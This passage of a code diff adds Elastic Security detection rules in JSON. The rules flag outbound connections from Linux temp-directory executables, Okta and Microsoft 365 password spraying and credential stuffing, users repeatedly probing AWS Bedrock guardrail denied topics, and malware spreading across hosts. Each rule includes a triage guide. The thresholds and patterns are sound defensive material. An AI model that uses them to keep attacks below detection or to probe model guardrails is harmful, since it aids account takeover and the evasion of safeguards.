destination.ip field to identify the external IP addresses the executable is attempting to connect to and check if they are known malicious or suspicious.\n- Check the host.os.type and agent.id fields to identify the specific host and agent involved, and gather additional context about the system's role and recent activity.\n- Analyze the @timestamp field to correlate the timing of the connections with other events or activities on the network or host.\n- Cross-reference the identified executable and IP addresses with threat intelligence sources to determine if they are associated with known threats or campaigns.\n- If the executable is determined to be malicious or suspicious, isolate the affected host and perform a deeper forensic analysis to identify any additional indicators of compromise or lateral movement.\n\n### False positive analysis\n\n- Executables in temporary directories used by legitimate applications or scripts can trigger alerts. Review the process name and executable path to determine if they are associated with known applications or scripts.\n- Automated scripts or cron jobs that perform network operations might be flagged. Identify these scripts and consider excluding their paths from the rule if they are verified as non-malicious.\n- Development or testing environments often use temporary directories for network operations. If these environments are known and trusted, add their specific paths to the exclusion list.\n- Backup or synchronization tools that use temporary directories for data transfer can generate numerous connections. Verify these tools and exclude their paths if they are confirmed to be safe.\n- Security tools or monitoring agents that operate in temporary directories might be mistakenly flagged. Confirm their legitimacy and exclude their paths to prevent false positives.\n\n### Response and remediation\n\n- Isolate the affected host immediately from the network to prevent further potential malicious communication and lateral movement.\n- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity.\n- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise (IOCs) and assess the extent of the infection.\n- Remove any malicious executables or files found in temporary directories such as /tmp, /var/tmp, or /dev/shm to eliminate the threat.\n- Patch and update the affected system to the latest security standards to close any vulnerabilities that may have been exploited.\n- Monitor network traffic for any unusual outbound connections from other systems to detect potential spread or similar threats.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation.\n", + "query": "from logs-endpoint.events.network-*\n| where\n @timestamp > now() - 1h and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"connection_attempted\" and\n (\n process.executable like \"/tmp/*\" or\n process.executable like \"/var/tmp/*\" or\n process.executable like \"/dev/shm/*\" or\n process.executable like \"/var/log/*\" or\n process.executable like \"/sys/*\" or\n process.executable like \"/media/*\" or\n process.executable like \"/proc/*\" or\n process.executable like \"/var/backups/*\" or\n process.executable like \"/var/mail/*\" or\n process.executable like \"/var/spool/*\" or\n process.executable like \"./*\" or\n process.name like \".*\"\n ) and\n not (\n cidr_match(destination.ip,\n \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\",\n \"192.0.0.0/24\", \"192.0.0.29/32\", \"192.0.0.8/32\", \"192.0.0.9/32\",\n \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\",\n \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\",\n \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\", \"198.18.0.0/15\",\n \"198.51.100.0/24\", \"203.0.113.0/24\", \"240.0.0.0/4\", \"::1\", \"FE80::/10\", \"FF00::/8\"\n ) or\n process.executable like \"/tmp/newroot/*\" or\n process.executable like \"/tmp/.mount*\" or\n process.executable like \"/tmp/go-build*\"\n )\n| keep\n @timestamp,\n host.os.type,\n event.type,\n event.action,\n process.name,\n process.executable,\n destination.ip,\n agent.id,\n host.name\n| stats\n Esql.event_count = count(),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.executable\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.event_count > 15\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "1fa350e0-0aa2-4055-bf8f-ab8b59233e59", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "1fa350e0-0aa2-4055-bf8f-ab8b59233e59_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/23f18264-2d6d-11ef-9413-f661ea17fbce_208.json b/packages/security_detection_engine/kibana/security_rule/23f18264-2d6d-11ef-9413-f661ea17fbce_208.json new file mode 100644 index 00000000000..2ec6315d82b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/23f18264-2d6d-11ef-9413-f661ea17fbce_208.json @@ -0,0 +1,101 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when an Okta client address has a certain threshold of Okta user authentication events with multiple device token hashes generated for single user authentication. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts.", + "false_positives": [ + "Users may share an endpoint related to work or personal use in which separate Okta accounts are used.", + "Shared systems such as Kiosks and conference room computers may be used by multiple users." + ], + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "High Number of Okta Device Token Cookies Generated for Authentication", + "note": "## Triage and analysis\n\n### Investigating High Number of Okta Device Token Cookies Generated for Authentication\n\nThis rule detects when a certain threshold of Okta user authentication events are reported for multiple users from the same client address. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack.\n\n#### Possible investigation steps:\n- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.ip` values can be used to pivot into the raw authentication events related to this activity.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy.\n - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying.\n- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful.\n - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons.\n - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying.\n - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API.\n- Examine the `okta.outcome.result` field to determine if the authentication was successful.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n\n### False positive analysis:\n- A user may have legitimately started a session via a proxy for security or privacy reasons.\n- Users may share an endpoint related to work or personal use in which separate Okta accounts are used.\n - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons.\n - Shared systems such as Kiosks and conference room computers may be used by multiple users.\n - Shared working spaces may have a single endpoint that is used by multiple users.\n\n### Response and remediation:\n- Review the profile of the users involved in this action to determine if proxy usage may be expected.\n- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required.\n- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule.\n - This will prevent future occurrences of this event for this device from triggering the rule.\n - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule.\n - This should be done with caution as it may prevent legitimate alerts from being generated.\n", + "query": "from logs-okta*\n| where\n event.dataset == \"okta.system\" and\n (event.action like \"user.authentication.*\" or event.action == \"user.session.start\") and\n okta.debug_context.debug_data.request_uri == \"/api/v1/authn\" and\n okta.outcome.reason == \"INVALID_CREDENTIALS\"\n| keep\n event.action,\n okta.debug_context.debug_data.dt_hash,\n okta.client.ip,\n okta.actor.alternate_id,\n okta.debug_context.debug_data.request_uri,\n okta.outcome.reason\n| stats\n Esql.okta_debug_context_debug_data_dt_hash_count_distinct = count_distinct(okta.debug_context.debug_data.dt_hash)\n by\n okta.client.ip,\n okta.actor.alternate_id\n| where\n Esql.okta_debug_context_debug_data_dt_hash_count_distinct >= 30\n| sort\n Esql.okta_debug_context_debug_data_dt_hash_count_distinct desc\n", + "references": [ + "https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", + "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", + "https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/", + "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", + "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" + ], + "related_integrations": [ + { + "package": "okta", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.okta_debug_context_debug_data_dt_hash_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "okta.actor.alternate_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "okta.client.ip", + "type": "ip" + } + ], + "risk_score": 21, + "rule_id": "23f18264-2d6d-11ef-9413-f661ea17fbce", + "setup": "The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Use Case: Identity and Access Audit", + "Data Source: Okta", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + } + ] + }, + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 208 + }, + "id": "23f18264-2d6d-11ef-9413-f661ea17fbce_208", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73_4.json b/packages/security_detection_engine/kibana/security_rule/266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73_4.json new file mode 100644 index 00000000000..cac9d2dd610 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73_4.json @@ -0,0 +1,61 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics.", + "false_positives": [ + "New model deployments.", + "Testing updates to compliance policies." + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual High Denied Topic Blocks Detected", + "note": "## Triage and analysis\n\n### Investigating Unusual High Denied Topic Blocks Detected\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"denied topics\" to prevent the model from generating content on specific, undesired subjects,\nand they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language.\n\n#### Possible investigation steps\n\n- Identify the user account that queried denied topics and whether it should perform this kind of action.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Expand multi-value policy name field\n| mv_expand gen_ai.policy.name\n| mv_expand gen_ai.policy.action\n\n// Filter for blocked topic policy violations\n| where\n gen_ai.policy.action == \"BLOCKED\"\n and gen_ai.compliance.violation_detected == \"true\"\n and gen_ai.policy.name == \"topic_policy\"\n\n// keep only user info\n| keep user.id\n\n// count how many times each user triggered a blocked topic policy\n| stats\n Esql.ml_policy_blocked_topic_count = count()\n by user.id\n\n// Filter for excessive violations\n| where Esql.ml_policy_blocked_topic_count > 5\n\n// sort highest to lowest\n| sort Esql.ml_policy_blocked_topic_count desc\n", + "references": [ + "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", + "https://atlas.mitre.org/techniques/AML.T0051", + "https://atlas.mitre.org/techniques/AML.T0054", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_policy_blocked_topic_count", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Use Case: Policy Violation", + "Mitre Atlas: T0051", + "Mitre Atlas: T0054", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/26f68dba-ce29-497b-8e13-b4fde1db5a2d_415.json b/packages/security_detection_engine/kibana/security_rule/26f68dba-ce29-497b-8e13-b4fde1db5a2d_415.json new file mode 100644 index 00000000000..44d5ab1f5ae --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/26f68dba-ce29-497b-8e13-b4fde1db5a2d_415.json @@ -0,0 +1,172 @@ +{ + "attributes": { + "author": [ + "Elastic", + "Willem D'Haese", + "Austin Songer" + ], + "description": "Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords.", + "false_positives": [ + "Automated processes that attempt to authenticate using expired credentials and unbounded retries may lead to false positives." + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Microsoft 365 User Account Brute Force", + "note": "## Triage and Analysis\n\n### Investigating Potential Microsoft 365 User Account Brute Force\n\nIdentifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords.\n\n### Possible investigation steps\n\n- Review `user_id_list`: Enumerates the user accounts targeted. Look for naming patterns or privilege levels (e.g., admins).\n- Check `login_errors`: A consistent error such as `\"InvalidUserNameOrPassword\"` confirms a spray-style attack using one or a few passwords.\n- Examine `ip_list` and `source_orgs`: Determine if the traffic originates from a known corporate VPN, datacenter, or suspicious ASN like hosting providers or anonymizers.\n- Review `countries` and `unique_country_count`: Geographic anomalies (e.g., login attempts from unexpected regions) may indicate malicious automation.\n- Validate `total_attempts` vs `duration_seconds`: A high frequency of login attempts over a short period may suggest automation rather than manual logins.\n- Cross-reference with successful logins: Pivot to surrounding sign-in logs (`azure.signinlogs`) or risk detections (`identityprotection`) for any account that eventually succeeded.\n- Check for multi-factor challenges or bypasses: Determine if any of the accounts were protected or if the attack bypassed MFA.\n\n### False positive analysis\n\n- IT administrators using automation tools (e.g., PowerShell) during account provisioning may trigger false positives if login attempts cluster.\n- Penetration testing or red team simulations may resemble spray activity.\n- Infrequent, low-volume login testing tools like ADFS testing scripts can exhibit similar patterns.\n\n### Response and remediation\n\n- Initiate an internal incident ticket and inform the affected identity/IT team.\n- Temporarily disable impacted user accounts if compromise is suspected.\n- Investigate whether any login attempts succeeded after the spray window.\n- Block the offending IPs or ASN temporarily via firewall or conditional access policies.\n- Rotate passwords for all targeted accounts and audit for password reuse.\n- Enforce or verify MFA is enabled for all user accounts.\n- Consider deploying account lockout or progressive delay mechanisms if not already enabled.\n", + "query": "from logs-o365.audit-*\n| mv_expand event.category\n| eval\n Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp),\n Esql_priv.o365_audit_UserId_lower = to_lower(o365.audit.UserId),\n Esql.o365_audit_LogonError = o365.audit.LogonError,\n Esql.o365_audit_ExtendedProperties_RequestType_lower = to_lower(o365.audit.ExtendedProperties.RequestType)\n| where\n event.dataset == \"o365.audit\" and\n event.category == \"authentication\" and\n event.provider in (\"AzureActiveDirectory\", \"Exchange\") and\n event.action in (\"UserLoginFailed\", \"PasswordLogonInitialAuthUsingPassword\") and\n Esql.o365_audit_ExtendedProperties_RequestType_lower rlike \"(oauth.*||.*login.*)\" and\n Esql.o365_audit_LogonError != \"IdsLocked\" and\n Esql.o365_audit_LogonError not in (\n \"EntitlementGrantsNotFound\",\n \"UserStrongAuthEnrollmentRequired\",\n \"UserStrongAuthClientAuthNRequired\",\n \"InvalidReplyTo\",\n \"SsoArtifactExpiredDueToConditionalAccess\",\n \"PasswordResetRegistrationRequiredInterrupt\",\n \"SsoUserAccountNotFoundInResourceTenant\",\n \"UserStrongAuthExpired\",\n \"CmsiInterrupt\"\n ) and\n Esql_priv.o365_audit_UserId_lower != \"not available\" and\n o365.audit.Target.Type in (\"0\", \"2\", \"6\", \"10\")\n| stats\n Esql.o365_audit_UserId_lower_count_distinct = count_distinct(Esql_priv.o365_audit_UserId_lower),\n Esql_priv.o365_audit_UserId_lower_values = values(Esql_priv.o365_audit_UserId_lower),\n Esql.o365_audit_LogonError_values = values(Esql.o365_audit_LogonError),\n Esql.o365_audit_LogonError_count_distinct = count_distinct(Esql.o365_audit_LogonError),\n Esql.o365_audit_ExtendedProperties_RequestType_values = values(Esql.o365_audit_ExtendedProperties_RequestType_lower),\n Esql.source_ip_values = values(source.ip),\n Esql.source_ip_count_distinct = count_distinct(source.ip),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n Esql.source_geo_country_name_values = values(source.geo.country_name),\n Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name),\n Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name),\n Esql.timestamp_first_seen = min(@timestamp),\n Esql.timestamp_last_seen = max(@timestamp),\n Esql.event_count = count(*)\n by Esql.time_window_date_trunc\n| eval\n Esql.event_duration_seconds = date_diff(\"seconds\", Esql.timestamp_first_seen, Esql.timestamp_last_seen),\n Esql.brute_force_type = case(\n Esql.o365_audit_UserId_lower_count_distinct >= 15 and Esql.o365_audit_LogonError_count_distinct == 1 and Esql.event_count >= 10 and Esql.event_duration_seconds <= 1800, \"password_spraying\",\n Esql.o365_audit_UserId_lower_count_distinct >= 8 and Esql.event_count >= 15 and Esql.o365_audit_LogonError_count_distinct <= 3 and Esql.source_ip_count_distinct <= 5 and Esql.event_duration_seconds <= 600, \"credential_stuffing\",\n Esql.o365_audit_UserId_lower_count_distinct == 1 and Esql.o365_audit_LogonError_count_distinct == 1 and Esql.event_count >= 20 and Esql.event_duration_seconds <= 300, \"password_guessing\",\n \"other\"\n )\n| keep\n Esql.time_window_date_trunc,\n Esql.o365_audit_UserId_lower_count_distinct,\n Esql_priv.o365_audit_UserId_lower_values,\n Esql.o365_audit_LogonError_values,\n Esql.o365_audit_LogonError_count_distinct,\n Esql.o365_audit_ExtendedProperties_RequestType_values,\n Esql.source_ip_values,\n Esql.source_ip_count_distinct,\n Esql.source_as_organization_name_values,\n Esql.source_geo_country_name_values,\n Esql.source_geo_country_name_count_distinct,\n Esql.source_as_organization_name_count_distinct,\n Esql.timestamp_first_seen,\n Esql.timestamp_last_seen,\n Esql.event_duration_seconds,\n Esql.event_count,\n Esql.brute_force_type\n| where Esql.brute_force_type != \"other\"\n", + "references": [ + "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", + "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", + "https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/", + "https://github.com/0xZDH/Omnispray", + "https://github.com/0xZDH/o365spray" + ], + "related_integrations": [ + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.brute_force_type", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_duration_seconds", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.o365_audit_ExtendedProperties_RequestType_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.o365_audit_LogonError_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.o365_audit_LogonError_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.o365_audit_UserId_lower_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.timestamp_first_seen", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.timestamp_last_seen", + "type": "date" + }, + { + "ecs": false, + "name": "Esql_priv.o365_audit_UserId_lower_values", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "26f68dba-ce29-497b-8e13-b4fde1db5a2d", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: SaaS", + "Data Source: Microsoft 365", + "Data Source: Microsoft 365 Audit Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + }, + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 415 + }, + "id": "26f68dba-ce29-497b-8e13-b4fde1db5a2d_415", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/28371aa1-14ed-46cf-ab5b-2fc7d1942278_5.json b/packages/security_detection_engine/kibana/security_rule/28371aa1-14ed-46cf-ab5b-2fc7d1942278_5.json new file mode 100644 index 00000000000..fb9da69d38c --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/28371aa1-14ed-46cf-ab5b-2fc7d1942278_5.json @@ -0,0 +1,74 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule uses alert data to determine when a malware signature is triggered in multiple hosts. Analysts can use this to prioritize triage and response, as this can potentially indicate a widespread malware infection.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Widespread Malware Infection Across Multiple Hosts", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Widespread Malware Infection Across Multiple Hosts\n\nEndpoint security technologies monitor and analyze activities on devices to detect malicious behavior. Adversaries exploit these systems by deploying malware that triggers specific signatures across multiple hosts, indicating a coordinated attack. The detection rule identifies such threats by analyzing alert data for specific malware signatures across several hosts, flagging potential widespread infections for prioritized investigation.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific rule.name and event.code that triggered the alert, focusing on those with a high count of distinct host.id values.\n- Correlate the identified rule.name with known malware signatures or recent threat intelligence reports to understand the potential impact and behavior of the malware.\n- Examine the affected host.id entries to determine if there are any commonalities, such as shared network segments, user accounts, or software versions, that could indicate the initial infection vector.\n- Investigate the timeline of events for each affected host to identify any suspicious activities or anomalies preceding the alert, such as unusual file downloads or execution of unknown processes.\n- Check for any additional alerts or logs related to the same host.id entries to assess if there are other indicators of compromise or related malicious activities.\n- Coordinate with IT and security teams to isolate affected hosts if necessary, and initiate containment and remediation procedures based on the findings.\n\n### False positive analysis\n\n- Legitimate software updates or installations may trigger malware signatures, especially if they involve new or uncommon software. Users can create exceptions for known software update processes to prevent these alerts from being flagged as potential threats.\n- Security testing tools or penetration testing activities might mimic malware behavior, leading to false positives. Analysts should coordinate with IT and security teams to whitelist these activities during scheduled tests.\n- Custom scripts or administrative tools that perform automated tasks across multiple hosts can be mistaken for malicious activity. Identifying and excluding these scripts from the rule can reduce unnecessary alerts.\n- Frequent use of remote management tools that execute scripts or commands on multiple hosts may trigger alerts. Users should ensure these tools are recognized and excluded from the rule to avoid false positives.\n- Known benign applications that use shellcode or memory manipulation techniques for legitimate purposes should be reviewed and added to an exception list to prevent them from being flagged.\n\n### Response and remediation\n\n- Isolate affected hosts immediately to prevent further spread of the malware across the network. This can be done by disconnecting them from the network or using network segmentation techniques.\n- Conduct a thorough scan of the isolated hosts using updated antivirus or endpoint detection and response (EDR) tools to identify and remove the 